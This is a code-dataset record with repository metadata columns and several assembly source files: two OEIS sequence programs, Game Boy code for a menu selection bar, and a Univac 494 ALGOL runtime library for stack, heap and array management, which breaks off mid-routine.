hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
12fbc7e8c152284021d383037836f1f8b65644d7
426
asm
Assembly
oeis/077/A077828.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/077/A077828.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/077/A077828.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A077828: Expansion of 1/(1-3*x-3*x^2-3*x^3). ; Submitted by Jamie Morken(s2) ; 1,3,12,48,189,747,2952,11664,46089,182115,719604,2843424,11235429,44395371,175422672,693160416,2738935377,10822555395,42763953564,168976333008,667688525901,2638286437419,10424853888984,41192486556912,162766880649945,643152663287523 mov $2,1 lpb $0 sub $0,1 mul $2,3 mov $3,$4 mov $4,$2 add $2,$3 add $2,$5 mov $5,$3 lpe mov $0,$2
26.625
233
0.7277
82a6a43f63aba21e4a406fca27476aa0572fe29a
687
asm
Assembly
oeis/245/A245032.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/245/A245032.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/245/A245032.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A245032: a(n) = 27*(n - 6)^2 + 4*(n - 6)^3 = ((n - 6)^2)*(4*n + 3). ; 108,175,176,135,76,23,0,31,140,351,688,1175,1836,2695,3776,5103,6700,8591,10800,13351,16268,19575,23296,27455,32076,37183,42800,48951,55660,62951,70848,79375,88556,98415,108976,120263,132300,145111,158720,173151,188428,204575,221616,239575,258476,278343,299200,321071,343980,367951,393008,419175,446476,474935,504576,535423,567500,600831,635440,671351,708588,747175,787136,828495,871276,915503,961200,1008391,1057100,1107351,1159168,1212575,1267596,1324255,1382576,1442583,1504300,1567751,1632960 mul $0,4 mov $1,$0 add $1,3 mov $2,24 mov $3,$0 mov $0,$1 sub $2,$3 mov $3,$2 mul $3,$2 mul $3,2 mul $0,$3 div $0,32
42.9375
498
0.733624
d298df15fdc363113c73bd3524dc43e066175521
3,006
asm
Assembly
src/menuselection.asm
QuinnPainter/Renegade-Rush
84f5bf1af0a8fda258e6f963dad411f983923f5a
[ "MIT" ]
1
2021-09-17T08:19:10.000Z
2021-09-17T08:19:10.000Z
src/menuselection.asm
QuinnPainter/Renegade-Rush
84f5bf1af0a8fda258e6f963dad411f983923f5a
[ "MIT" ]
1
2020-05-25T11:19:44.000Z
2020-05-25T11:19:44.000Z
src/menuselection.asm
QuinnPainter/Renegade-Rush
84f5bf1af0a8fda258e6f963dad411f983923f5a
[ "MIT" ]
null
null
null
INCLUDE "hardware.inc" INCLUDE "macros.inc" DEF SELECTION_HEIGHT EQU 8 ; Vertical size of the selection bar, in pixels SECTION "Menu Selection Vars", WRAM0 AfterSelIntVec:: DS 2 ; The interrupt vector that the LCD int is set to after the last line of the menu selection bar AfterSelIntLine:: DS 1 ; The LY line the LCD int is set to afterwards SelectionPalette:: DS 1 ; The palette used for the selection bar. PrevPalette: DS 1 ; The palette used before the selection bar, that gets reset when the bar is over IntState: DS 1 ; Are we on the first or last line interrupt? 0 = first, nonzero = last SelBarTopLine:: DS 2 ; Current position of the top of the selection bar. 8.8 fixed point SelBarTargetPos:: DS 1 ; Position the bar is animating towards. SECTION "Menu Selection Code", ROM0 ; Updates the position of the selection bar. selectionBarUpdate:: ld a, [SelBarTopLine] ld b, a ld a, [SelBarTargetPos] cp b ret z ; positions are already the same ld h, a ; \ Set HL to SelBarTargetPos ld l, $7F ; instead of aiming for 0, aim for the middle subpixel. this fixes some weirdness where it stays 1 pixel away from target ld a, [SelBarTopLine + 1] ; \ Set BC to SelBarTopLine ld c, a ; / sub_16r hl, bc, hl ; HL = Offset between top line and target sra h ; \ rr l ; | Shift HL right twice sra h ; | rr l ; / add hl, bc ; Add new offset to top line ld a, h ld [SelBarTopLine], a ld a, l ld [SelBarTopLine + 1], a ret ; Set up the top line interrupt ; Sets - A H L to garbage selectionBarSetupTopInt:: ld hl, LCDIntVectorRAM ld a, LOW(selectionBarIntFunc) ld [hli], a ld a, HIGH(selectionBarIntFunc) ld [hl], a ld a, [SelBarTopLine] dec a ld [rLYC], a xor a ld [IntState], a ret ; Runs on the top and bottom scanlines of the selection bar. selectionBarIntFunc: ld a, [IntState] and a jr nz, .lastLine ldh a, [rBGP] ld [PrevPalette], a ; First line - set previous palette, and set current palette to flipped one ld a, [SelectionPalette] ld b, a jr .donePickPalette .lastLine: ; Last line - selection bar is over, set palette back to previous one ld a, [PrevPalette] ld b, a .donePickPalette: ; Wait for safe VRAM access (next hblank) : ld a, [rSTAT] and a, STATF_BUSY jr nz, :- ; Set LCD registers ld a, b ldh [rBGP], a ; Set up next interrupt ld a, [IntState] and a jr nz, .afterLastLine ld a, $FF ; Setup interrupt for last line of selection bar ld [IntState], a ld a, [SelBarTopLine] add SELECTION_HEIGHT - 1 ld [rLYC], a jp LCDIntEnd .afterLastLine: xor a ld [IntState], a ld hl, LCDIntVectorRAM ld a, [AfterSelIntVec] ; Setup interrupt for thing after selection bar ld [hli], a ld a, [AfterSelIntVec + 1] ld [hl], a ld a, [AfterSelIntLine] dec a ld [rLYC], a jp LCDIntEnd
30.06
135
0.650699
44eb5519124ee928c39e62a2ca83a242eb5b3898
72,035
asm
Assembly
U494/Algol/algrt.asm
sboydlns/univacemulators
c630b2497bee9cb9a18b4fa05be9157d7161bca3
[ "MIT" ]
2
2021-02-09T21:54:54.000Z
2021-09-04T03:30:50.000Z
U494/Algol/algrt.asm
sboydlns/univacemulators
c630b2497bee9cb9a18b4fa05be9157d7161bca3
[ "MIT" ]
null
null
null
U494/Algol/algrt.asm
sboydlns/univacemulators
c630b2497bee9cb9a18b4fa05be9157d7161bca3
[ "MIT" ]
null
null
null
START . . UNIVAC 494 ALGOL RUN-TIME LIBRARY . . REGISTER USAGE: . B1 = SUBROUTINE RETURN ADDRESS . B2 = USER SUBROUTINE RETURN ADDRESS . B4 = PTR TO TOP OF CURRENT STACK . B5 = PTR TO LAST STACK BASED VARIABLE FOR THE . CURRENT BLOCK. . ER$DEF LCB$DEF L$ITEM$DEF FMCB$DEF . XREF ALG$STACK XREF POWERI . . EXIT CODES . ESOVFL EQU 1D . STACK OVERFLOW ESUNFL EQU 2D . STACK UNDERFLOW EHMTY EQU 3D . HEAP EXHAUSTED EHCRUPT EQU 4D . HEAP CORRUPTED EABADIDX EQU 5D . INVALID ARRAY INDEX . . VARIABLE TYPE CODES . DTINTEGER EQU 0D DTREAL EQU 1D DTSTRING EQU 3D DTLOGICAL EQU 4D . . +++++++++++++++++++++++++++++++++++++++++++++++ . . STACK ROUTINES . . +++++++++++++++++++++++++++++++++++++++++++++++ . S$LOW +0 . LOWEST STACK ADDRESS S$HIGH +0 . HIGHEST STACK ADDRESS . . ++++++++++ . ALG$INIT . . INITIALIZE THE STACK . . PARAMETERS: . STACK SIZE . . RETURNS: . NONE . ++++++++++ ALG$INIT* LA ALG$STACK . SAVE LOW STACK ADDR SA,W S$LOW A,W 0,B1 . COMPUTE HEAP LOW ADDR SA,W AH$HEAD+FMCB$START AN 1 . COMPUTE STACK HIGH ADDR SA,W S$HIGH MEMSIZ . GET THE PGM SIZE AN 1 . COMPUTE HEAP END SA,W AH$HEAD+FMCB$END LA AH$HEAD . INIT HEAP FREE LIST SA,W ALG$HEAP+LCB$HEAD SA,W ALG$HEAP+LCB$TAIL LA ALG$HEAP SA,W AH$HEAD+LI$LIST LB,W B4,S$HIGH . INIT CURRENT TOP PTR J 1,B1 . RETURN . ++++++++++ . PUSHA . . PUSH THE A REGISTER ONTO THE STACK . . PARAMETERS: . VALUE TO PUSH IN A . . RETURNS: . NONE . ++++++++++ PUSHA* SA,W S$SAVE SA,W 0,B4 . SAVE A ON TOP SLJ S$DECR LA,W S$SAVE J 0,B1 . ++++++++++ . PUSHQ . . PUSH THE Q REGISTER ONTO THE STACK . . PARAMETERS: . VALUE TO PUSH IN Q . . RETURNS: . NONE . ++++++++++ PUSHQ* SA,W S$SAVE SQ,W 0,B4 SLJ S$DECR LA,W S$SAVE J 0,B1 . ++++++++++ . PUSHAQ . . PUSH THE AQ REGISTER PAIR ONTO THE STACK . . PARAMETERS: . VALUE TO PUSH IN AQ . . RETURNS: . NONE . ++++++++++ PUSHAQ* DPS S$SAVE . SAVE VALUE TO PUSH SLJ S$DECR . DEC STACK TO ALLOW 2 WORDS DPL S$SAVE . PUSH VALUE DPS 0,B4 SLJ S$DECR DPL S$SAVE . RESTORE ORIGINAL AQ J 0,B1 . ++++++++++ . DECREMENT THE STACK POINTER AND CHECK FOR OVERFLOW . ++++++++++ S$DECR +0 JBD B4,$+1 SB,A B4 TA,W S$LOW,,YMORE J,L S$DECR . . STACK OVERFLOW DETECTED . TYPE SO$LEN,S$OVFL HALT ESOVFL . S$SAVE RES 2D S$OVFL +'STACK OVERFLOW' +' ^' SO$LEN EQU $-S$OVFL . ++++++++++ . POPA . . POP THE TOP OF THE STACK INTO A . . PARAMETERS: . NONE . . RETURNS: . POPPED VALUE IN A . ++++++++++ POPA* SLJ S$INCR LA,W 0,B4 J 0,B1 . ++++++++++ . POPQ . . POP THE TOP OF THE STACK INTO Q . . PARAMETERS: . NONE . . RETURNS: . POPPED VALUE IN Q . ++++++++++ POPQ* SA,W S$SAVE SLJ S$INCR LQ,W 0,B4 LA,W S$SAVE J 0,B1 . ++++++++++ . POPAQ . . POP THE TOP 2 WORDS OF THE STACK INTO AQ . . PARAMETERS: . NONE . . RETURNS: . POPPED VALUE IN AQ . ++++++++++ POPAQ* SLJ S$INCR DPL 0,B4 DPS S$SAVE SLJ S$INCR DPL S$SAVE J 0,B1 . ++++++++++ . INCREMENT THE STACK POINTER AND CHECK FOR UNDERFLOW . ++++++++++ S$INCR +0 SB,A B4 TA,W S$HIGH,,YMORE J S$UERR TBI B4,77777 J,L S$INCR HALT 666 . . STACK UNDERFLOW DETECTED . S$UERR TYPE SU$LEN,S$UNFL HALT ESUNFL . S$UNFL +'STACK UNDERFLOW' +' ^' SU$LEN EQU $-S$UNFL . +++++++++++++++++++++++++++++++++++++++++++++++ . . LIST ROUTINES . . USED BY THE HEAP MANAGER TO ADD AND REMOVE ITEMS . FROM THE FREE MEMORY LIST . . +++++++++++++++++++++++++++++++++++++++++++++++ . . ++++++++++ . INSERT AN ITEM INTO THE MIDDLE OF A LIST . . PARAMETERS: . LIST . ITEM TO INSERT . INSERT BEFORE ITEM. IF ZERO ADD TO TAIL. . . REGISTERS: . B2 = QUEUE . B3 = PARAMS . B5 = ITEM TO INSERT . B6 = MISC. . B7 = INSERT BEFORE THIS ITEM . ++++++++++ L$INSERT +0 SBW L$SAVE . SAVE REGISTERS LA,L L$INSERT . POINT TO PARAMS LB,A B3 A 3 . SAVE RTRN ADDR SA,L LIN$J LB,W B2,0,B3 . GET PTR TO LIST LB,W B5,1,B3 . GET PTR TO ITEM TO INSERT LA,W 2,B3,ANOT . GET PTR TO INSERT B4 ITEM J LIN$END . ZERO? ADD TO END OF LIST LB,A B7 LA,W LI$PRIOR,B7,ANOT . INSERT AT HEAD OF LIST? J LIN$NEWHD . YES LB,A B6 SA,W LI$PRIOR,B5 . UPDATE ITEM PRIOR SB,W B7,LI$NEXT,B5 . UPDATE ITEM NEXT SB,W B2,LI$LIST,B5 . UPDATE PTR TO LIST SB,W B5,LI$NEXT,B6 . UPDATE PRIOR'S NEXT SB,W B5,LI$PRIOR,B7 . UPDATE NEXT'S PRIOR J LIN$RTRN . LIN$NEWHD SZ,W LI$PRIOR,B5 . UPDATE ITEM PRIOR SB,W B7,LI$NEXT,B5 . UPDATE ITEM NEXT SB,W B2,LI$LIST,B5 . UPDATE PTR TO LIST SB,W B5,LI$PRIOR,B7 . UPDATE NEXT'S PRIOR SB,W B5,LCB$HEAD,B2 . UPDATE LIST HEAD . LIN$RTRN LBW L$SAVE . RESTORE REGISTERS LIN$J J $ . RETURN TO CALLER . LIN$END LA,W LCB$TAIL,B2,ANOT . GET END OF LIST J LIN$EMPTY . THERE ISN'T ONE LB,A B6 SA,W LI$PRIOR,B5 . ITEM PRIOR = TAIL SZ,W LI$NEXT,B5 . ITEM NEXT = ZERO SB,W B2,LI$LIST,B5 . SET ITEM LIST PTR SB,W B5,LI$NEXT,B6 . TAIL NEXT = ITEM SB,W B5,LCB$TAIL,B2 . TAIL = ITEM J LIN$RTRN . LIN$EMPTY SZ,W LI$NEXT,B5 . CLEAR NEXT / PRIOR SZ,W LI$PRIOR,B5 SB,W B2,LI$LIST,B5 . SET ITEM LIST PTR SB,W B5,LCB$HEAD,B2 . HEAD / TAIL = ITEM SB,W B5,LCB$TAIL,B2 J LIN$RTRN . ++++++++++ . DELETE AN ITEM FROM A QUEUE . . PARAMETERS: . QUEUE . ITEM TO DELETE . . REGISTERS: . B2 = QUEUE . B3 = PARAMS . B5 = ITEM TO INSERT . B7 = MISC . . ++++++++++ L$DELETE +0 SBW L$SAVE LA,L L$DELETE . POINT TO PARAMS LB,A B3 A 2 . SAVE RTRN ADDR SA,L LDE$J LB,W B2,0,B3 . GET PTR TO QUEUE LB,W B5,1,B3 . GET PTR TO ITEM TO DELETE LA,W LI$PRIOR,B5,ANOT . GET PRIOR J LDE$NOPRIOR . THERE ISN'T ONE LB,A B7 LA,W LI$NEXT,B5 . PRIOR'S NEXT = ITEM NEXT SA,W LI$NEXT,B7 J LDE$DONEXT LDE$NOPRIOR LA,W LI$NEXT,B5 . LIST HEAD = ITEM NEXT SA,W LCB$HEAD,B2 LDE$DONEXT LA,W LI$NEXT,B5,ANOT . GET NEXT J LDE$NONEXT . THERE ISN'T ONE LB,A B7 LA,W LI$PRIOR,B5 . NEXT'S PRIOR = ITEM PRIOR SA,W LI$PRIOR,B7 J LDE$DONE LDE$NONEXT LA,W LI$PRIOR,B5 . LIST TAIL = ITEM PRIOR SA,W LCB$TAIL,B2 LDE$DONE SZ,W LI$LIST,B5 . CLEAR LIST PTR SZ,W LI$NEXT,B5 . CLEAR NEXT / PRIOR SZ,W LI$PRIOR,B5 . LDE$RTRN LBW L$SAVE . RESTORE REGISTERS LDE$J J $ . RETURN TO CALLER . L$SAVE RES 7D . . +++++++++++++++++++++++++++++++++++++++++++++++ . FREE MEMORY (HEAP) MANAGER . +++++++++++++++++++++++++++++++++++++++++++++++ . ++++++++++ . . FM$GETMEM . . ALLOCATE A BLOCK OF MEMORY . . PARAMETERS: . SIZE TO ALLOCATE . . RETURNS: . SIZE TO ALLOCATE PARAMETER OVERWRITTEN WITH BLOCK ADDRESS. . ZERO IF REQUEST CANNOT BE GRANTED . . REGISTERS: . B2 = PTR TO PARAMETER / RETURN VALUE . B5 = FMCB . B6 = MISC . . . THE BLOCK ALLOCATED WILL BE AT LEAST 1 WORD LARGER THAN REQUESTED. . THIS FIRST WORD OF THE BLOC WILL CONTAIN THE BLOCK SIZE. . THE ADDRESS RETURNED TO THE CALLER WILL BE THE 2ND WORD . OF THE BLOCK. . . ++++++++++ FM$GETMEM +0 SA,W FM$A . SAVE REGISTERS SQ,W FM$Q SBW FM$B LA,L FM$GETMEM . GET RETURN ADDRESS LB,A B2 A 1 . BUMP PAST PARAMS SA,L FMG$J . SAVE RETURN ADDRESS LA,W 0,B2,ANOT . GET SIZE TO ALLOCATE J FMG$RTRN . ZERO BYTES REQUESTED, QUIT A 1 . ADD 1 FOR OVERHEAD TA FMCB$LEN,,YLESS . ALLOC. ENOUGH TO HOLD FMCB LA FMCB$LEN+1 SA,W FM$SIZE SZ,W 0,B2 . CLR RETURN VALUE LB B5,ALG$HEAP . GET PTR TO TAIL OF FREE LIST LA,W LCB$TAIL,B5,ANOT J HEAPBAD . LIST EMPTY, NEVER HAPPEN . FMG$LOOP LB,A B5 LA,W FMCB$END,B5 . CALC SIZE OF THIS BLOCK AN,W FMCB$START,B5 A 1 TA,W FM$SIZE,,YLESS . ENOUGH FOR THIS REQUEST? J FMG$NXTBLK . NO AN,W FM$SIZE . AT LEAST FMCB$LEN LEFT? TA FMCB$LEN,,YMORE J FMG$SIZOK . YES A,W FM$SIZE . NO, ALLOCATE ENTIRE BLOCK SA,W FM$SIZE FMG$SIZOK LA,W FMCB$END,B5 . YES, CALC NEW END ADDR AN,W FM$SIZE SA,W FMCB$END,B5 A 1 . CALC START ADDR THIS BLOCK LB,A B6 ZQ . CLEAR BUFFER TO ZERO R,W FM$SIZE,,ADV SQ,W 0,B6 LQ,W FM$SIZE . SAVE BLK SIZE AS 1ST WORD SQ,W 0,B6 A 1 . BUMP PAST OVERHEAD SA,W 0,B2 . SAVE FOR RTRN . IF FMCB IS EMPTY, FREE IT UNLESS IT IS THE HEAD OF THE . FREE MEMORY LIST LA,W FMCB$PRIOR,B5,ANOT . HEAD OF LIST? J FMG$RTRN . YES, WE'RE DONE LA,W FMCB$END,B5 . CALC SIZE REMAINING IN BLOCK AN,W FMCB$START,B5,ANEG J FMG$RTRN . BLOCK NOT EMPTY, QUIT SB,W B5,FMG$P1 . EMPTY, REMOVE FROM FREE LIST SLJ L$DELETE +ALG$HEAP FMG$P1 +0 . FMG$RTRN LA,W FM$A . RESTORE REGISTERS LQ,W FM$Q LBW FM$B FMG$J J $ . RETURN TO CALLER . FMG$NXTBLK LA,W LI$PRIOR,B5,ANOT . GET PTR TO PRIOR BLOCK J FMG$HMTY . NO MORE, QUIT J FMG$LOOP . FMG$HMTY TYPE HELEN,HEMSG HALT EHMTY . HEMSG +'HEAP EXHAUSTED' +' ^' HELEN EQU $-HEMSG . . ++++++++++ . FREE A BLOCK OF MEMORY . . PARAMETERS: . BLOCK START ADDRESS . . REGISTERS: . B2 = PARAMETER . B5 = FMCB . B6 = MISC . . FIRST WE TRY TO ADD THE BLOCK TO BE FREE'D TO AN EXISTING FREE . BLOCK. IF THAT DOESN'T WORK, WE ADD A NEW FREE BLOCK TO THE CHAIN. . ++++++++++ FM$FREEMEM +0 SA,W FM$A . SAVE REGISTERS SQ,W FM$Q SBW FM$B LA,L FM$FREEMEM . GET RETURN ADDRESS LB,A B2 A 1 . BUMP PAST PARAMS SA,L FMF$J . SAVE RETURN ADDRESS LA,W 0,B2,ANOT . SAVE BLK START ADDR J FMF$RTRN . ZERO, QUIT AN 1 . DEC. FOR OVERHEAD SA,W FM$BEGIN LB,A B5 . GET THE BLK SIZE LA,W 0,B5 SA,W FM$SIZE LB B5,ALG$HEAP . GET PTR TO HEAD OF FREE LIST LA,W LCB$HEAD,B5,ANOT J HEAPBAD . LIST EMPTY, NEVER HAPPEN . FMF$LOOP LB,A B5 LA,W FMCB$END,B5 . GET END OF FREE SPACE A 1 . BUMP BY 1 AN,W FM$BEGIN,,AZERO . = START OF BLK TO FREE? J FMF$CHKNEW . NO LA,W FMCB$END,B5 . YES, CALC NEW END A,W FM$SIZE SA,W FMCB$END,B5 . UPDATE CRNT FMCB . CONSOLIDATE ADJACENT FMCB'S IF THEY WOULD FORM ONE CONTIGUOUS . BLOCK FMF$CONS LA,W FMCB$NEXT,B5,ANOT . GET PTR TO NEXT FMCB J FMF$RTRN . THERE ISN'T ONE LB,A B6 LA,W FMCB$END,B5 . GET END THIS BLK A 1 . BUMP TO GET START OF NEXT AN,W FMCB$START,B6,AZERO . END OF THIS = START OF NEXT? J FMF$RTRN . NO, WE'RE DONE LA,W FMCB$END,B6 . SET THIS END TO NEXT END SA,W FMCB$END,B5 SB,W B6,FMF$P3 . REMOVE FCMB FROM LIST SLJ L$DELETE +ALG$HEAP FMF$P3 +0 . FMF$RTRN LA,W FM$A . RESTORE REGISTERS LQ,W FM$Q LBW FM$B FMF$J J $ . RETURN TO CALLER . FMF$CHKNEW TA 0,,YLESS . NEED TO INSERT FMCB? J FMF$NXTBLK . NO, NEXT BLOCK FMF$ADDNEW LA,W FM$BEGIN . ADD TO FREE LIST B4 CRNT BLK SA,W FMF$P1 SB,W B5,FMF$P2 SLJ L$INSERT +ALG$HEAP FMF$P1 +0 FMF$P2 +0 LB,W B5,FM$BEGIN . POINT TO NEW BLOCK LA,W FM$BEGIN . SAVE START / END SA,W FMCB$START,B5 A,W FM$SIZE AN 1 SA,W FMCB$END,B5 J FMF$CONS . FMF$NXTBLK LA,W LI$NEXT,B5,AZERO . GET PTR TO NEXT BLOCK J FMF$LOOP . GOT IT, CONTINUE LB,A B5 J FMF$ADDNEW . END OF LIST . HEAPBAD TYPE HBLEN,HBMSG HALT EHCRUPT . HBMSG +'HEAP FREE LIST CORRUPTED' +' ^' HBLEN EQU $-HBMSG . FM$BEGIN RES 1 FM$SIZE RES 1 FM$A RES 1 FM$Q RES 1 FM$B RES 7D . ++++++++++++++++++++++++++++++++++++++++++++++ . ARRAY ROUTINES . ++++++++++++++++++++++++++++++++++++++++++++++ . ++++++++++ . NEWARRAY . . ALLOCATE MEMORY FOR AN ARRAY. THE NUMBER OF DIMENSIONS IS . LIMITED TO 10. IF THE COMPILE ALLOWS MORE THAN THIS THE . SIZE OF NA$LIMITS MUST BE ADJUSTED ACCORDINGLY. . . AN ARRAY IS PREFACED BY A HEADER IN THE FOLLOWING FORMAT: . NUMBER OF DIMENSIONS (N) . SIZE OF ARRAY ITEM IN WORDS . LOWER-LIMIT-1 . UPPER-LIMIT-1 . . . . . . . LOWER-LIMIT-N . UPPER-LIMIT-N . . PARAMETERS: . LOWER-LIMIT1 . UPPER-LIMIT1 . . . . . . . LOWER-LIMITN . UPPER-LIMITN . N . ITEM-SIZE-IN-WORDS . . RETURNS: . ADDRESS OF ARRAY IN Q . . ++++++++++ NEWARRAY* SA,W NA$A . SAVE REGISTERS SBW NA$B . LQ,W 1,B4 . GET ITEM SIZE SQ,W NA$ITEMSZ SQ,W NA$TOTSZ . LA,W 2,B4 . GET # DIMENSIONS SA,W NA$DIM LB B4,2,B4 . POP THE STACK . . CALCULATE TOTAL ARRAY SIZE . LB,W B2,NA$DIM . INIT LOOP COUNT JBD B2,$+1 SB,A B2 . OFFSET TO LAST LIMIT LSA 1D . TABLE ENTRY LB,A B3 NA$LOOP LQ,W 1,B4 . GET UPPER LIMIT LA,W 2,B4 . GET LOWER LIMIT LB B4,2,B4 . POP THE STACK SA,W NA$LIMITS,B3 SQ,W NA$LIMITS+1,B3 ANQ,A . TOTAL # ITEMS AQ 1D ZA M,W NA$TOTSZ SQ,W NA$TOTSZ SB,A B3 . DEC LIMIT TABLE OFFSET AN 2D LB,A B3 JBD B2,NA$LOOP . LOOP UNTIL DONE . . ALLOCATE ENOUGH TO HOLD ARRAY FROM HEAP . LA,W NA$DIM . ADD ENOUGH TO HOLD LIMIT TBL LSA 1D A 2D A,W NA$TOTSZ SA,W NA$P1 SLJ FM$GETMEM NA$P1 +0 . LB,W B5,NA$P1 LQ,W NA$DIM . XFER # DIMENSIONS TO ARRAY SQ,W 0,B5 LQ,W NA$ITEMSZ . XFER ITEM SZ TO ARRAY SQ,W 1,B5 SB,A B5 . BUMP ARRAY BFR POINTER A 2D LB,A B5 LB B3,NA$LIMITS . XFER LIMITS TBL TO ARRAY NA$LOOP2 DPL 0,B3 DPS 0,B5 LB B3,2D,B3 . BUMP INDEX LB B5,2D,B5 . BUMP INDEX RD,W NA$DIM . DECR LOOP COUNT JT NA$LOOP2,,ANOT . NA$RTRN LQ,W NA$P1 LA,W NA$A . RESTORE REGISTERS SB,W B4,NA$B+3 LBW NA$B J 0,B1 . ++++++++++ . STRARRAY . . ALLOCATE MEMORY FOR A STRING ARRAY. . . PARAMETERS: . SAME AS FOR NEWARRAY WITH THE ADDITION OF A NEW PARAMETER . HOLDING THE LENGHT OF THE STRING IN CHARACTERS. . . RETURNS: . SAME AS FOR NEWARRAY . . ++++++++++ STRARRAY* SA,W SA$A . SAVE REGISTERS SBW SA$B LBPJB1 POPQ . SAVE STRING LENGTH SQ,W SA$LENGTH . LBPJB1 NEWARRAY SQ,W SA$Q . SAVE ARRAY ADDRESS LB,W B5,SA$Q . GET # DIMENSIONS LA,W 0,B5 LSA 1D . POINT TO ARRAY DATA A 2D A,W SA$Q LB,A B5 . LQ,W NS$SPACES . INITIALIZE ALL STRINGS SA$LOOP R,W NA$ITEMSZ,,ADV . TO SPACES SQ,W 0,B5 LA,W SA$LENGTH SA,W 0,B5 SB,A B5 . BUMP POINTER A,W NA$ITEMSZ LB,A B5 LA,W NA$TOTSZ . DECREMENT LOOP COUNT AN,W NA$ITEMSZ SA,W NA$TOTSZ,,AZERO J SA$LOOP . LA,W SA$A LQ,W SA$Q SB,W B4,SA$B+3 LBW SA$B J 0,B1 . SA$A RES 1D SA$Q RES 1D SA$B RES 7D SA$LENGTH RES 1D SA$DIM RES 1D . . ++++++++++ . FREEARRAY . . RELEASE THE MEMORY ASSIGNED TO AN ARRAY . . PARAMETERS: . ARRAY ADDRESS IN Q . . RETURNS: . NONE . ++++++++++ FREEARRAY* SQ,W $+2 SLJ FM$FREEMEM +0 J 0,B1 . ++++++++++ . ARRAYADR . . CALCULATE THE ADDRESS OF AN ARRAY ITEM . . PARAMETERS: . INDEX1 . . . . . . . INDEXN . ARRAY POINTER . N . . RETURNS . ADDRESS OF ARRAY ITEM IN A . . ++++++++++ ARRAYADR* SB,L B1,AA$RTRN . SAVE RETURN ADDR LQ,W 1,B4 . GET # OF INDEXES SQ,W NA$DIM LA,W 2,B4 . GET ARRAY BUFFER PTR LB,A B5 ANQ,W 0,B5,AZERO . # DIMENSIONS MATCH? J AA$BADIDX . NO, HARD FAIL LQ,W 1,B5 . GET ARRAY ITEM SIZE SQ,W NA$ITEMSZ LQ,W NA$DIM . POINT TO LAST DIMENSION LSQ 1D AQ,A SQ,A LB,A B5 . B5 = LAST LOWER LIMIT A 2D . POINT TO ARRAY DATA SA,W NA$ADDR LB B4,2,B4 . POP 2 ITEMS FROM STACK . AA$LOOP LQ,W 1,B4 . GET SUBSCRIPT LB B4,1,B4 . POP STACK ANQ,W 0,B5 . MAKE ZERO RELATIVE ZA M,W NA$ITEMSZ . GET OFFSET INTO DIMENSION AQ,W NA$ADDR . ADD TO TOTAL SO FAR SQ,W NA$ADDR LQ,W 1,B5 . GET UPPER LIMIT ANQ,W 0,B5 . GET # ITEMS THIS DIMENSION AQ 1D ZA M,W NA$ITEMSZ . GET TTL SIZE THIS DIMENSION SQ,W NA$ITEMSZ SB,A B5 . DECREMENT LIMIT TBL OFFSET AN 2D LB,A B5 RD,W NA$DIM JT AA$LOOP,,ANOT . LA,W NA$ADDR . RETURN ADDR OF ITEM AA$RTRN J $ . AA$BADIDX TYPE AA$LEN,AA$MSG HALT EABADIDX . AA$MSG +'RUN-TIME ERROR: WRONG NUMBER OF ARRAY INDICES' +' ^' AA$LEN EQU $-AA$MSG . ++++++++++ . GETARRAYQ . . DECODE THE ARRAY SUBSCRIPTS PASSED ON THE STACK AND RETURN . THE CONTENTS OF THE ADDRESSED ARRAY ITEM IN Q . . PARAMETERS: . . INDEX1 . . . . . . . INDEXN . ARRAY POINTER . N . . RETURNS: . ARRAY ITEM IN Q . ++++++++++ GETARRAYQ* SA,W NA$A . SAVE THE REGISTERS SBW NA$B . LBPJB1 ARRAYADR . DECODE SUBSCRIPTS . LB,A B5 . GET CONTENTS OF ARRAY ITEM LQ,W 0,B5 . LA,W NA$A . RESTORE REGISTERS SB,W B4,NA$B+3 LBW NA$B J 0,B1 . ++++++++++ . GETARRAYAQ . . DECODE THE ARRAY SUBSCRIPTS PASSED ON THE STACK AND RETURN . THE CONTENTS OF THE ADDRESSED ARRAY ITEM IN AQ . . PARAMETERS: . SEE GETARRAYQ . . ++++++++++ GETARRAYAQ* SBW NA$B . SAVE THE REGISTERS . LBPJB1 ARRAYADR . DECODE SUBSCRIPTS . LB,A B5 . GET CONTENTS OF ARRAY ITEM DPL 0,B5 . SB,W B4,NA$B+3 LBW NA$B . RESTORE THE REGISTERS J 0,B1 . . ++++++++++ . GETSARRAY . . DECODE THE ARRAY SUBSCRIPTS PASSED ON THE STACK AND RETURN . THE ADDRESS OF THE STRING ARRAY ITEM IN Q. . . 